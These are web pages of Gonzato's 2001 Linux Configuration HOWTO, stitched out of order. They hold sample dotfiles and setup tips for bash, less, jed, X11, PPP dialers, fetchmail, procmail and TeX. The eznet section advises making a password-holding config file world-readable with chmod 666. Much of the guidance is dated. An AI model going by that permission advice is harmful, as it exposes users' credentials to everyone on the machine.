if [ -f /etc/bashrc ]; then
  . /etc/bashrc
fi

# this is needed to notify the user that they are in non-login shell
if [ "$GET_PS1" = "" ] ; then
  COLOUR=45; ESC="\033"; STYLE=';1m';  # STYLE='m'
  USER=$(whoami)
  export PS1="\[$ESC[$COLOUR;37$STYLE\]$USER:\[$ESC[37;40$STYLE\]\w\\$ "
fi

# personal aliases
alias backup='tar -Mcvf /dev/fd0'
alias dial='eznet up myisp'
alias f='cd ~/fortran'
alias hangup='eznet down'
alias lyx='lyx -width 580 -height 450'
alias restore='tar -M -xpvf /dev/fd0'

# personal functions
xj()    # Launch xjed and a file in background
{
  xjed $1 &
}

This is a sample .bash_profile:

# $HOME/.bash_profile

# User specific environment and startup programs
# This file contains user-defined settings that override
# those in /etc/profile

# Get user aliases and functions
if [ -f ~/.bashrc ]; then
  GET_PS1="NO"  # don't change the prompt colour
  . ~/.bashrc
fi

# set a few `default' directories
export CDPATH="$CDPATH:$HOME:$HOME/text:$HOME/text/geology"

This is a sample .inputrc:

# $HOME/.inputrc

# key bindings
"\e[1~": beginning-of-line
"\e[3~": delete-char
"\e[4~": end-of-line
# (F1 .. F5) are "\e[[A" ... "\e[[E"
"\e[[A": "info \C-m"

set bell-style visible          # please don't beep
set meta-flag On                # allow 8-bit input (i.e, accented letters)
set convert-meta Off            # don't strip 8-bit characters
set output-meta On              # display 8-bit characters correctly
set horizontal-scroll-mode On   # scroll long command lines
set show-all-if-ambiguous On    # after TAB is pressed

To make the backspace and delete keys work correctly in xterm and other X11 applications, the following is also needed:

  • put this in your .xinitrc:
    usermodmap=$HOME/.Xmodmap
xmodmap $usermodmap

  • then your .Xmodmap will contain:
    keycode 22 = BackSpace
keycode 107 = Delete
    this fixes the console. To fix xterm:

  • put this in your .Xdefaults:
    xterm*VT100.Translations: #override <Key>BackSpace: string(0x7F)\n\
        <Key>Delete:        string(0x1b) string("[3~")\n\
        <Key>Home:          string(0x1b) string("[1~")\n\
        <Key>End:           string(0x1b) string("[4~")\n\
        Ctrl<Key>Prior:     string(0x1b) string("[40~")\n\
        Ctrl<Key>Next:      string(0x1b) string("[41~")

nxterm*VT100.Translations: #override <Key>BackSpace: string(0x7F)\n\
        <Key>Delete:        string(0x1b) string("[3~")\n\
        <Key>Home:          string(0x1b) string("[1~")\n\
        <Key>End:           string(0x1b) string("[4~")\n\
        Ctrl<Key>Prior:     string(0x1b) string("[40~")\n\
        Ctrl<Key>Next:      string(0x1b) string("[41~")

rxvt is a wee bit more complicated, as some compile--time options influence its behaviour. See the above /etc/profile.

More info in bash (1) and readline (3) man pages.

Don't expect every application to work correctly! If you run joe in xterm, for instance, some keys won't work; the same holds for some versions of rxvt.

4.2. I18n

(This section doesn't apply to native English speakers.)

A.k.a. ``internationalisation''. Gasp. This long word means ``to adapt Linux to your local conventions: language, format of date, currency etc.''.

Although Red Hat has its own method for setting up i18n (/etc/sysconfig/i18n), you may want to enable your language only in some cases. I, for one, enabled i18n in kdm (via kdmconfig) and xfce, but want to read English messages when I work in console or xterm.

Consider these lines:

LANG=it # choose your language: fr, de, es, ...
LANGUAGE=it
LC_ALL=it
export LANG LANGUAGE LC_ALL

If you insert them in your .xinitrc or .xsession just before the line that starts the window manager, you'll get internationalised messages - including those in xterms started from within the window manager. But if you'd rather get English messages, set the language to ``en'' and put the same lines in .bash_profile.

4.3. ls (1)

ls can display directory listings using colours to highlight different file types. To enable this feature, you just need a couple of lines in /etc/profile as seen above. However, this won't work with old versions of rxvt; use some flavour of xterm instead. It looks like some old rxvts have a bug that prevents them from inheriting the environment correctly in some circumstances.

4.4. less (1)

With this excellent pager you can browse not only plain text files, but also gzip compressed, tar and zip archives, man pages, and what have you. Its configuration involves a few steps:

  • to use it with the movement keys, have this plain ASCII file .lesskey in your home directory:
    ^[[A   back-line
^[[B   forw-line
^[[C   right-scroll
^[[D   left-scroll
^[OA   back-line
^[OB   forw-line
^[OC   right-scroll
^[OD   left-scroll
^[[6~  forw-scroll
^[[5~  back-scroll
^[[1~  goto-line
^[[4~  goto-end
^[[7~  goto-line
^[[8~  goto-end
    then run the command lesskey. (These are escape sequences for vt100-like terminals.) This creates a binary file .less containing the key bindings.

  • write the following file as /usr/bin/lesspipe.sh:
    #!/bin/sh
# This is a preprocessor for 'less'.  It is used when this environment
# variable is set:   LESSOPEN="|lesspipe.sh %s"

lesspipe () {
  case "$1" in
  *.tar) tar tf $1 2>/dev/null ;; # View contents of .tar and .tgz files
  *.tgz|*.tar.gz|*.tar.Z|*.tar.z) tar ztf $1 2>/dev/null ;;
  *.Z|*.z|*.gz) gzip -dc $1  2>/dev/null ;; # View compressed files correctly
  *.tar.bz2) bzip2 -dc $1 | tar tf - ;;
  *.bz2) bzip2 -dc $1  2>/dev/null ;;
  *.zip) unzip -l $1 2>/dev/null ;; # View archives
  *.arj) unarj -l $1 2>/dev/null ;;
  *.rpm) rpm -qpil $1 2>/dev/null ;;
  *.cpio) cpio --list -F $1 2>/dev/null ;;
  *.1|*.2|*.3|*.4|*.5|*.6|*.7|*.8|*.9|*.n|*.l|*.man)
    file $1 | grep roff > /dev/null
    if [ $? = 0 ]; then
      groff -Tascii -mandoc $1
    fi ;;
  *) file $1 | grep "te[sx]t" > /dev/null ;
    if [ $? = 1 ] ; then # it's not some kind of text
      strings $1
    fi ;;
  esac
}

# treat link targets, not links themselves
file $1 | grep symbolic > /dev/null
if [ $? = 0 ]; then
  TARGET=$(file $1 | awk '{print $NF}')
  lesspipe $TARGET
else
  lesspipe $1
fi
    then make it executable with chmod 755 lesspipe.sh.

  • put the variables that affect less in /etc/profile as seen above.

4.5. Editor

Only the most popular will be covered here.

4.5.1. emacs (1)

I rarely use emacs, so I have only a couple of tips for you. Some emacs distributions don't come preconfigured for colours and syntax highlighting. Put this in your .emacs:

(global-font-lock-mode t)
(setq font-lock-maximum-decoration t)

This only works in X11. Moreover, to enable accented characters you'll add this line:

(standard-display-european 1)

I'll leave it to you to peruse all of emacs' documentation to find out how to tailor it to your needs---potentially, it can take months of hacking. The Dotfile generator (Section Section 5) is a good helping hand.

4.5.2. joe (1)

(Why use joe when jed is so small and powerful? Duh.)

Some versions of joe don't work with colours in console, and some special keys don't work either. A quick and dirty (and inelegant) solution to the former problem is this:

~$ export TERM=vt100
~$ joe myfile
   (edit your file)
~$ export TERM=linux

To make the special keys work, all you have to do is edit .joerc, .jstarrc or your favourite emulation; you can start from the system-wide config files in /usr/lib/joe. Look for the fourth section (key bindings). This enables Home and End:

bol ^[ [ 1 ~    Go to beginning of line
eol ^[ [ 4 ~    Go to end of line

Find out the desired ESC sequences typing cat followed by the special keys.

4.5.3. jed (1)

This is my favourite editor: it does what I need, it's lighter and easier to configure than emacs, and emulates other editors quite well. Many users at my university use jed to emulate EDT, VMS' system editor.

jed's configuration files are .jedrc and /usr/lib/jed/lib/*; the former can be adapted from jed.rc in the latter directory.

  • if xjed apparently doesn't recognise the DEL key, add or comment out these lines in your .jedrc:
    #ifdef XWINDOWS
  x_set_keysym (0xFFFF, 0, "\e[3~");
  setkey (``delete_char_cmd'', "\e[3~");
#endif

  • to make jed emulate EDT (or other editors) all you have to do is edit a couple of lines in .jedrc. If you want the numeric keypad `+' to delete words instead of a single character, add this in .jedrc:
    unsetkey("\eOl");
unsetkey("\eOP\eOl");
setkey("edt_wdel", "\eOl");
setkey("edt_uwdel", "\eOP\eOl");
    after the line that reads () = evalfile("edt") (or similar);

  • to make xjed use the numeric keypad for EDT emulation, insert the following in .Xmodmap:
    keycode 77  = KP_F1
keycode 112 = KP_F2
keycode 63  = KP_F3
keycode 82  = KP_F4
keycode 86  = KP_Separator

  • colour customization for xjed is done adding lines like these in .Xdefaults:
    xjed*Geometry: 80x32+150+50
xjed*font: 10x20
xjed*background: midnight blue
# and so on...

  • the ``abbreviation'' feature is an invaluable timesaver. Write a file like the following as $HOME/.abbrevs.sl (you can change this name by inserting variable Abbrev_File = "/usr/lib/jed/abbrev.sl"; in .jedrc):
    create_abbrev_table ("Global", "0-9A-Za-z");
define_abbrev ("Global", "GG", "Guido Gonzato");
create_abbrev_table ("TeX", "\\A-Za-z0-9");
define_abbrev ("TeX", "\\beq", "\\begin{equation}");
define_abbrev ("TeX", "\\eeq", "\\end{equation}");
% and so on...
    and type ESC x abbrev_mode to enable it. To enable the abbreviation by default, add entries like these to your .jedrc:
    define text_mode_hook ()
{
  set_abbrev_mode (1);
}
%
define fortran_hook ()
{
  set_abbrev_mode (1);
  use_abbrev_table ("Fortran");
}
% and so on...

4.6. pine (1)

Edit the global configuration in /usr/lib/pine.conf, taking care at least of the following fields: user-domain, smtp-server, and nntp-server. Note that inbox-path depends on your MTA: if you use sendmail or postfix, that'll be var/spool/mail/$USER; with Qmail, /home/$USER/Mailbox (but root will use /var/qmail/alias/Mailbox.

4.7. minicom (1)

Users can't use minicom unless a global configuration has been made by root. Remember to make it.

4.8. efax (1)

This package is probably the most convenient for simple sending/receiving of faxes. You'll have to tailor the script /usr/bin/fax or (mandrake) /etc/fax.config; easy job, but a couple of quirks caused me quite a headache:

  • to find out whether your modem is class 1, 2, or 2.0, use minicom or similar program to issue the command at+fclass=?. The reply may be like 0,1,2; 1 and 2 are the classes supported by your modem;

  • DIALPREFIX: chances are that simply putting `T' or `P' won't work in some countries-in Italy, at least. Put `ATDT' or `ATDP' instead;

  • INIT and RESET: these strings contain the initialisers `-i' and `-k', needed by efax. If you want to add an AT command, add it to the appropriate string leaving out `AT' and preceding the rest with either `-i' or `-k'. Example: to add the `ATX3' command to INIT, you'll append `-iX3'.

That done, there are a few permissions to fix to enable non-root users to send and receive faxes. The directories /var/lock and /var/spool/fax must be writable. To do so, create the group faxusers, add users to it, then type:

~# chown root.faxusers /var/lock
~# mkdir /var/spool/fax # if it doesn't exist yet
~# chown root.faxusers /var/spool/fax; chmod g+w /var/spool/fax

As a normal user, you'll issue newgrp faxusers before sendig a fax.

4.9. Ghostscript

This essential tool suffers from a small snag. Owing to to the well-known export regulations in the USA, the utility pdf2ps doesn't work with encrypted .pdf files. Never mind: point your browser to http://www.ozemail.com.au/~geoffk/pdfencrypt, download the file pdf_sec.ps and replace the file with the same name that comes with the Ghostscript distribution.

4.10. TeX and Friends

The ``root'' of a TeX system is the directory $TEXMF, which is /usr/share/texmf in teTeX; other distributions may differ (search for ``texmf'' on your system). You normally add stuff or fiddle with files therein.

4.10.1. Expanding $TEXINPUTS

To include PostScript figures or TeX files that reside in subdirectories, it is convenient to expand TeX's search path to include subdirectories. Put this command in your .bash_profile:

export TEXINPUTS="$HOME/mylib::./figures"

which makes TeX search in $HOME/mylib before the default directories, and the directory ./figures afterwards.

4.10.2. Hyphen Patterns

To configure the hyphenation pattern for your language, edit the file $TEXMF/tex/generic/config/language.dat, then do:

~# texconfig init ; texconfig hyphen

Even if you don't write in English, don't remove the entry ``english''; TeX pukes without it.

4.10.3. dvips (1)

To tailor dvips, the file to edit is $TEXMF/dvips/config/config.ps. Be aware that the fields regarding the default resolution also affect xdvi's behaviour; if you experience annoying attempts to create fonts each time you run it, put the line

XDvi*mfmode:

in your .Xdefault. This should help.

4.10.4. Adding LaTeX Packages

Additional LaTeX packages are available from your nearest CTAN (Comprehensive TeX Archive Network) mirror site, e.g. ftp://ftp.dante.de/pub/tex. Unpack the package under $TEXMF/tex/latex.

If no .sty file exist, run the command latex newstyle.ins or latex newstyle.dtx to create it, then run the command texhash so that teTeX recognises the new package.

4.11. Docbook

LaTeX is the best choice for typesetting, Docbook for multiformat documents (This HOWTO is written in Docbook.) Once you get all of the tools in place, you'll want to use simple scripts to avoid the complex command line. If these are not provided with the distribution, use the following db2pdf as template:

#!/bin/sh

if [ $# = 0 ]; then
  echo "Usage: db2pdf <file.sgml> [file2.sgml ...]"
  exit 1
fi

# Standard Mandrake location:
DSSSL=/usr/share/sgml/docbook/dsssl-stylesheets-1.57/print/docbook.dsl
# Standard RedHat location:
# /usr/lib/sgml/stylesheets/nwalsh-modular/print/docbook.dsl

if [ ! -f $DSSSL ]; then
  DSSSL=$(find /usr/ -name "docbook.dsl" | grep print)
fi

for FILE in $*
do
  NAME=$(echo $FILE | awk -F'.' '{print $1}')
  echo "Processing $FILE..."
  jade -t tex -d $DSSSL $NAME.sgml
  pdfjadetex $NAME.tex
done

# End of db2pdf

If you find that your PostScript od .PDF looks very bad, the file to hack is dbparams.dsl. In my Mandrake system, it's located in /usr/share/sgml/docbook/dsssl-stylesheets-1.57/print/.

4.12. Avoid PPProblems!

I'll take it for granted that your kernel has PPP + TCP/IP support compiled in, that loopback is enabled, and that you already have the pppd package correctly installed and, if you will, set uid root. Obviously, your ISP must support PPP.

There are now two ways to get PPP to work: a) manual configuration, and b) a configuration program that automagically sees to it. Whichever option you choose, have the following information on hand:

  • your ISP's telephone number;

  • your ISP's name, mail and news server address;

  • your ISP's domain;

  • your username and password.

Manual configuration is a drudgery. It's about editing files and writing scripts; not too much work, but it's easy to make mistakes and newcomers are often intimidated. The PPP HOWTO is there for you. Alternatively, there are tools that ask for the information above and do all the work.

Gnome and KDE include, respectively, gnome-ppp and kppp which are easy enough to set up. Alternatively, I suggest that you have a look at a couple of tty--based tools, wvdial and eznet. You feed them your ISP's phone number, your username, your password, and you're in business. Their home pages are at http://www.worldvisions.ca/wvdial and http://www.hwaci.com/sw/eznet. Both are great, but I prefer the latter.

4.12.1. A Quick Start with eznet

First of all, create an /etc/resolv.conf like this:

nameserver w.x.y.z

where you'll insert the address of your ISP's nameserver. To create an account with eznet, issue the following command:

#~ eznet add service=YOUR_ISP user=NAME password=PASSWORD phone=PHONE

which creates the file /var/eznet/eznet.conf, owned by root.root with permissions 600; chmod it to 666 if you want it to be world readable. Now dial your ISP with eznet up YOUR_ISP. If the modem keeps waiting for the dial tone and won't connect, then try this command:

#~ eznet change YOUR_ISP init0=atx3

To hang up, the command is eznet down. That's all!

4.12.2. A Quick Start with wvdial

wvdial's setup is even shorter. Type wvdialconf /etc/wvdial.conf, then edit the resulting file to include your username, password, and phone number. Try it out with wvdial, and keep your fingers crossed. To hang up, stop it with Ctrl-C.

4.13. POP Client

To retrieve your mail from a POP3 server, you need a POP client. Most such clients require that you run an MTA like sendmail, qmail or postfix; a bit of an overkill on low-spec machines. However, there are clients that work without an MTA. The first kind is well represented by fetchmail; the second by fetchpop or frenchie. Sites: ftp://metalab.unc.edu/pub/Linux/system/mail/pop, http://www.lowcountry.com/~jscottb/tcltk.shtml.

To configure these clients:

  • fetchpop: the first time you run it, you'll be prompted for some information. Answer the questions and you're set. fetchpop must be used with the -r switch if your ISP's POP3 server doesn't implement the command LAST properly.

  • frenchie: as above, edit  /.frenchie/frenchierc;

  • fetchmail: adapt this sample .fetchmailrc:
    # $HOME/.fetchmailrc
poll mbox.myisp.com with protocol pop3;
  user john there with password _Loo%ny is john here
    One user reported that adding ``smtphost localhost'' to the second line improved performance dramatically. You must set the permissions to this file with the command chmod 600 .fetchmailrc, otherwise fetchmail will rightly refuse to start. This example is very basic; there are endless possibilities of configuration. Check out at http://www.ccil.org/~esr/fetchmail.

4.14. Basic Mail Filtering

You will want to protect yourself from spam or huge mail messages. There are two cases: 1) permanent connection to the net, 2) a POP link. In the first case, you can write a .procmailrc file, while in the second there are tools for checking the mail prior to fetching it.

A very simple .procmailrc that defines a few rules:

# $HOME/.procmailrc

MAILDIR=$HOME/mail # make sure it exists

# Store messages directed to the "foo" mailing list to $HOME/mail/foo
:0
* ^To:.*foo
foo

# Discard messages that are not explicitly sent to me or to one of the
# mailling lists I subscribed to.
:0
* !^TO(guido|jed|lugvr|ldp|nobody)
/dev/null

# ditto, for messages larger than 50k.
:0
* > 50000
/dev/null

man procmailex for further examples.

POP users will want to use poppy, a useful Perl script for checking the mail before fetching it. Get it from ftp://metalab.unc.edu/system/mail/pop.

4.15. X Window System (XFree86)

4.15.1. Setting Up the X Server

Come on, it's no longer as difficult as it used to be... All major distributions include a tool for setting up X11 (e.g. XConfigurator, sax, XF86Setup, or at least xf86config). X configuration is virtually automatic these days, but a few video cards may cause a headache.

First of all, check out at the XFree86 site ( ftp://metalab.unc.edu/system/mail/pop) whether your video card is supported. If so, then try this procedure:

  • install the plain VGA server;

  • go to ftp://ftp.XFree86.org/pub/XFree86/current/binaries, cd to the proper Linux subdirectory, and download the archives X_version_bin.tgz, X_version_set.tgz, and all the servers. Amongst other programs, the first archive contains the most up-to-date SuperProbe;

  • unpack X_version_bin.tgz to a temporary directory, cd to it, and run ./SuperProbe. If your video card is recognised, chances are that you'll be able to set it up. Otherwise, hard luck;

  • install the servers and X_version_set.tgz from /usr/X11R6/, then run XF86Setup.

This has always worked for me, but your mileage may vary. Please note that most times X11 won't start because you chose wrong specs for your monitor! Start with conservative settings, i.e. 800x600 and 256 colours, then pump it up. Warning: these operations are dangerous and your monitor might be damaged!

If your card isn't supported, you can either: 1) wait for the next version of XFree86; 2) buy a commercial X server; 3) buy a supported video card. Quartum non datur.

4.15.2. The X Startup Sequence

There are two ways to launch X11: from the console via startx, or directly via /etc/inittab.

4.15.3. Keypad

We have seen above how to make a few special keys work. The sample file .Xmodmap works well if you want to use Xjed, but it makes the keypad unusable. You'll then need another config file, which we'll call .Xmodmap.num:

! Definitions can be found in <X11/keysymdef.h

keycode 77  = Num_Lock
keycode 112 = KP_Divide
keycode 63  = KP_Multiply
keycode 82  = KP_Subtract
keycode 86  = KP_Add
keycode 79  = KP_7
keycode 80  = KP_8
keycode 81  = KP_9
keycode 83  = KP_4
keycode 84  = KP_5
keycode 85  = KP_6
keycode 87  = KP_1
keycode 88  = KP_2
keycode 89  = KP_3
keycode 90  = KP_0
keycode 91  = KP_Decimal

Make sure that your /etc/X11/XF86Config does not contain these three lines:

  ServerNumLock
  Xleds
  XkbDisable

and in case, comment them out. To re-enable the keypad, you'll issue the command xmodmap .Xmodmap.num.

4.15.4. Graphical Login with xdm

To be greeted by a graphical login, edit the file /etc/inittab, which should include a line like this:

x:5:respawn:/usr/bin/X11/xdm -nodaemon # also kdm or gdm

where 5 is the runlevel corresponding to X11. Modify the line that defines the default runlevel (usually 2 or 3), changing it as above:

id:5:initdefault:

The number of colours is specified in /etc/X11/xdm/Xserver:

:0 local /usr/X11R6/bin/X :0 -bpp 16 vt07  # first X server, 65k colours
:1 local /usr/X11R6/bin/X :1 -bpp 32 vt08  # second X server, true colour

If you already have .xinitrc, copy it to .xsession and make the latter executable with chmod +x .xsession. Now issue the command telinit 5 and you're in business.

4.15.5. Window Manager

Once X works, there are endless possibilities of configuration; it depends on the window manager you use, there are tens to choose from. Mostly, it's all down to editing one or more ASCII files in your home directory; in other cases you don't have to edit a thing, and use an applet or even a menu.

Some examples:

  • the fvwm family: copy /etc/X11/fvwm/system.fvwmrc (or similar) to your home using the appropriate name, browse it and start experimenting. You may waste a lot of time before you get the precise look and feel you like;

  • WindowMaker: it has several config files that live under $HOME/GNUstep, and a cool configuration applet;

  • KDE, Gnome, xfce and others: nothing to edit manually here, everything can be done via the menu.

In short: if you don't mind editing config file, choose something like icewm, fvwm*, blackbox etc; if you do mind, the choice is currently restricted to KDE, Gnome, WindowMaker, and Xfce. Email me if I'm wrong.

It's important to have a good .xinitrc. An example:

#!/bin/sh
# $HOME/.xinitrc

usermodmap=$HOME/.Xmodmap
xmodmap $usermodmap

xset s noblank  # turn off the screen saver
xset s 300 2    # screen saver start after 5 min
xset m 10 5     # set mouse acceleration

rxvt -cr green -ls -bg black -fg white -fn 7x14 \
  -geometry 80x30+57+0 &

if [ "$1" = "" ] ; then  # default
  WINMGR=wmaker
else
  WINMGR=$1
fi

$WINMGR

Although it doesn't appear to be strictly required, make it executable with chmod +x .xinitrc.

The .xinitrc above lets you choose the window manager: try
$ startx startkde # or other w.m.

4.15.6. Defaults for X11 Apps

Find out where the app-defaults directory is (it should be /usr/X11R6/lib/X11/app-defaults). Several apps keep a configuration file there.

4.15.7. Adding Fonts

Recent versions of XFree86 (say, > 3.3.4) use an X Font Server that supports PostScript Type 1 and True Type fonts natively, so you can use the wealth of fonts available on the net. There's a simple procedure to follow.

Suppose that you downloaded a Type 1 font collection, e.g. Freefont ( ftp://ftp.gimp.org/pub/gimp/fonts/freefonts-0.10.tar.gz ). To make it visible to the font server, unpack the archive from /usr/X11R6/lib/X11/fonts/. Then edit /etc/X11/fs/config, add an entry for the new directory, and restart the font server.

If you're rolling your own font collection, you'll need to supply the files fonts.dir and fonts.scale; the tool to make them is type1inst, available from http://http://goblet.anu.edu.au/~m9305357/type1inst.html .

As for the True Type fonts, group them in a directory of your choice and create fonts.dir using ttmkfdirfonts.dir, included in the Freetype archive; http://www.freetype.org . Then proceed as above. For example, if you want to use the Windows fonts you have in, say, /mnt/win/windows/fonts, go to that directory, run ttmkfdir, edit /etc/X11/fs/config and restart the font server.

It all started from the original True Type X font server: http://http://www.dcs.ed.ac.uk/home/jec/programs/xfsft/ .

4.16. Users' Configurations

When you're done editing the dot files, copy them to /etc/skel as seen in Section Section 4.

4.17. Making .rpms

rpm is such a wonderful method of keeping packages under control that I'm reluctant to install .tar.gz archives but in very few special cases (e.g., security). Whenever you install a tarball, consider turning it into an .rpm archive, then reinstall it; consult the RPM HOWTO. Also, if you use recent gcc versions, it may be advisable to put this in your /etc/rpmrc:

optflags: i386 -O2 -mpentiumpro

4.18. Upgrading

If you upgrade your machine, do your backup as usual and remember to save a few additional files. Some could be /etc/X11/XF86Config, /usr/bin/fax, all the stuff in /usr/local, the kernel configuration, the whole /etc, and all the mail in /var/spool/mail.

Then it's time to upgrade (in rare cases, downgrade!) applications that your distribution ship with, and to add additional packages. Keep a list of these ones.

Prev | Home | Next
Common Administration Tasks |  | Configuration Software + Docs


Configuration Software + Docs

Configuration HOWTO
Prev Next

5. Configuration Software + Docs

There are several programs that make Linux easy to setup and configure. Some are becoming sort of standard: Red Hat, Caldera and other distributions ship with apps like setup, printtool, netcfg, usertool, etc, while S.u.S.E. ships with a comprehensive configuration program called Yast. Other useful programs are:

  • The Dotfile Generator: fine X app with modules to configure packages like emacs, bash, procmail and more. Its page is at http://www.imada.ou.dk/~blackie/dotfile;

  • Linuxconf: the ultimate configuration tool. It can do everything, both in console and under X. Go to http://www.solucorp.qc.ca/linuxconf at once.

Documents on Linux configuration are popping up everywhere. One of the most complete is TrinityOS, http://www.ecst.csuchico.edu/~dranch/LINUX/index-linux.html . Bug the author to have him turn the document in nicer formats.

A jolly good page is http://dotfiles.com. Just what it says - a collection of configuration files.

Prev | Home | Next
Software Configuration |  | The End


Configuration HOWTO

Guido ``goccia'' Gonzato

ggonza@tin.it

Version 1.99.7. 6 November 2001.

Revision History
Revision v1.99.7 | 2001-11-06 | Revised by: gg
Updated and fixed DocBook tags.
Revision v1.99.6 | 2000-08-31 | Revised by: gg

This HOWTO aims at making the fine--tuning of your newly installed Linux box quicker and easier. Here you will find a set of configuration tips for the most common applications and services.

Table of Contents
1. Introduction
1.1. Why This HOWTO
1.2. What We Will Be Configuring
2. General System Setup
2.1. A Few Words About Security
2.2. Start the Logbook!
2.3. Keyboard
2.4. Boot and Rescue Floppy
2.5. Console Colours
2.6. Kernel Matters
2.7. Hard Disk Performance
2.8. Parallel Port Zip Drive
2.9. Device Drivers
2.10. Sound Card
2.11. Login Messages
2.12. Hostname
2.13. Mouse
2.14. Mount Points
2.15. Automount Points
2.16. lilo(8) and LOADLIN.EXE
2.17. Printer Configuration (lpd)
2.18. SVGATextMode
3. Common Administration Tasks
3.1. Network Configuration
3.2. Network for Notebooks
3.3. Sharing the Internet
3.4. Restricting Network Access
3.5. NFS Exports
3.6. Samba
4. Software Configuration
4.1. bash (1)
4.2. I18n
4.3. ls (1)
4.4. less (1)
4.5. Editor
4.6. pine (1)
4.7. minicom (1)
4.8. efax (1)
4.9. Ghostscript
4.10. TeX and Friends
4.11. Docbook
4.12. Avoid PPProblems!
4.13. POP Client
4.14. Basic Mail Filtering
4.15. X Window System (XFree86)
4.16. Users' Configurations
4.17. Making .rpms
4.18. Upgrading
5. Configuration Software + Docs
6. The End
6.1. Copyright
6.2. Feedback
6.3. Disclaimer
Next
Introduction


Introduction

Configuration HOWTO
Prev Next

1. Introduction

1.1. Why This HOWTO

Current distributions are approaching perfection, but some fine-tuning is still needed. Many new users are intimidated by the apparent complexity of a Linux system, and as a result I note that the same questions crop up on c.o.l.setup over and over again. To try and remedy this situation, and for my own convenience, I wrote a to--do list that eventually became this HOWTO. Here you will find configuration tips and examples for the most common applications, programs, and services, which should save you a fair amount of time and work.

I realise that this HOWTO is quite RedHat-centric. Currently, I only have access to Red Hat and Mandrake machines, kernels ranging from 2.0.36 to 2.2.15; so don't take any of my tips as gospel if you have other distributions. Previous versions of this HOWTO provided some information for SuSE, Debian and Caldera; but as I no longer have access to those machines, I can't keep the details up-to-date. No information is better that inaccurate information, so it's up to you to to adapt my tips to your distribution.

This HOWTO can't replace others, and it's not meant to. Reading docs and HOWTOs always pays, so you're strongly advised to do so if you want to know more. Also, no spoon--feeding here: if you realise you don't understand something, please refer to the relevant HOWTO. Let me remind you that the right place for seeking help with Linux configuration is Usenet, i.e. news:comp.os.linux.setup. Please, don't seek help from me because I'm quite overloaded.

The official place for this document, which also hosts all other HOWTOs I refer to and some translations, is http://www.linuxdoc.org .

1.2. What We Will Be Configuring

There can be endless hardware configurations for a PC, but in my experience one is quite common: a PC fitted with a large HD split into three partitions (one for DOS/Windows, one for Linux, one for the swap), sound card, modem, CD-ROM drive, printer, mouse. A parallel port Zip Drive is also very common. This machine is possibly part of a mixed Windows-Linux network, where it acts as server.

This is the hardware I'll assume you want to configure, but it's easy to adapt the following tips to different configurations. It's implicitly assumed that you'll be root when editing/fixing/hacking.

And now, lads, sleeves up.

Prev | Home | Next
Configuration HOWTO |  | General System Setup


The End

Configuration HOWTO
Prev

6. The End

6.1. Copyright

Copyright (c) by Guido Gonzato, ggonza at tin.it. This document may be distributed only subject to the terms and conditions set forth in the LDP License at http://www.linuxdoc.org/COPYRIGHT.html, except that this document must not be distributed in modified form without the author's consent.

If you have questions, please refer to the Linux Documentation Project home page, http://www.linuxdoc.org.

6.2. Feedback

Perhaps even more than other HOWTOs, this one needs and welcomes your suggestions, criticisms, and contributions. Not only is feedback welcome: it's necessary. If you think something is missing or wrong, please email me. If you have a distribution other than Red Hat/Mandrake and your config files are different or placed in other directories, please tell me and I'll include your tips. My aim is making life with Linux as easy as possible.

Linux has a huge number of packages, so it's impossible to include directions for all of them. Please keep your requests/suggestions pertinent to the ``most reasonable'' programs---I'll leave it to your common sense.

6.3. Disclaimer

This document is provided ``as is''. I put great effort into writing it as accurately as I could, but you use the information contained in it at your own risk. In no event shall I be liable for any damages resulting from the use of this work.

Many thanks to all other HOWTO authors and man pages writers/maintainers, whose work I've shamelessly pilfered; and to all people who provided me with feedback.

I hope you'll find this work useful, though. Whenever I install a new Linux box, I actually do...

Enjoy,

Guido =8-)

Prev | Home
Configuration Software + Docs |


General System Setup

Configuration HOWTO
Prev Next

2. General System Setup

2.1. A Few Words About Security

Even before your system boots, you should decide what level of security you want to implement. To begin with, don't connect your machine to the network until you have decided what to do.

Security is a vast subject that goes beyond the scope of this HOWTO; two good starting points are the Linux Security Administrator's Guide http://www.securityportal.com/lasg and the Linux Security Guide http://nic.com/~dave/SecurityAdminGuide/index.html . You should consider at least the following steps: using shadow passwords (Shadow Password HOWTO), restricting network access to the machine (Section Section 3.4), using the Secure Shell (http://www.openssh.org ) or the Secure Remote Password ( http://srp.stanford.edu/srp/). Good luck.

2.2. Start the Logbook!

To keep your installation in shape, it's essential that you know exactly what happened to your machine, which packages you installed that day, what you removed or modified, and so on. So, the first thing you'll do before you tamper with your machine is start a ``logbook''. Therein you'll take note of every move you make as root; in my own logbook I also keep a section where I list all modified system files, additional .rpms, and .tar.gz I installed. Optimally, backtracking your moves you should be able to re-obtain a fresh installation.

Make a backup copy of the system files you touch. Better still, use RCS; you'll be able to backtrack all changes. Never work as root without logging your moves!

2.3. Keyboard

If you missed this step during installation or have changed your keyboard, you'll have to:

  • look for a suitable key table starting from /usr/lib/kbd/keymaps/i386; for example, querty/it-latin1.kmap.gz supports the Italian keyboard;

  • edit the file /etc/sysconfig/keyboard so as it reads: KEYTABLE="it-latin1";

  • to set up the keyboard repeat rate and delay time, add this line to /etc/rc.d/rc.sysinit:
    /sbin/kbdrate -s -r 16 -d 500  # or whatever you like

To load the key table, issue

/etc/rc.d/init.d/keytable start

Other special keys will be dealt with in the following sections. To enable NumLock on by default, add these lines to /etc/rc.d/rc.sysinit:

for tty in /dev/tty[1-9]*; do
  setleds -D +num < $tty
done

Normally, the Linux console cannot distinguish between, say, Arrow and Shift-arrow, but some applications (namely, the editor Section 4.5.3) do. Normally, these key bindings are only available in xterm. The following key map, which you can choose to load at boot time, is very handy:

# Load this key map with: loadkey shift.map
# Shift + Up
shift keycode 103 = F100
string F100 = "\033[a"
# Shift + Left
shift keycode 106 = F101
string F101 = "\033[c"
# Shift + Right
shift keycode 105 = F102
string F102 = "\033[d"
# Shift + Down
shift keycode 108 = F103
string F103 = "\033[b"
# Ctrl + Ins
control keycode 110 = F104
string F104="\033[2^"
# Shift + Ins
shift keycode 110 = F105
string F105="\033[2$"
# Shift + PgUp
shift keycode 104 = F106
string F106 = "\033[5$"
# Shift + PgDn
shift keycode 109 = F107
string F107 = "\033[6$"
# Shift + Home
shift keycode 102 = F108
string F108 = "\033[1$"
# Shift + End
shift keycode 107 = F109
string F109 = "\033[4$"
# Shift + Del
shift keycode 111 = F110
string F110 = "\033[3$"
# Ctrl + Del
control keycode 111 = F111
string F111 = "\033[3^"

2.4. Boot and Rescue Floppy

Make a couple of boot floppies for your newly installed system. Your distribution may include a command for creating such a floppy (say, mkbootdisk or something like that); if not, these commands will do:

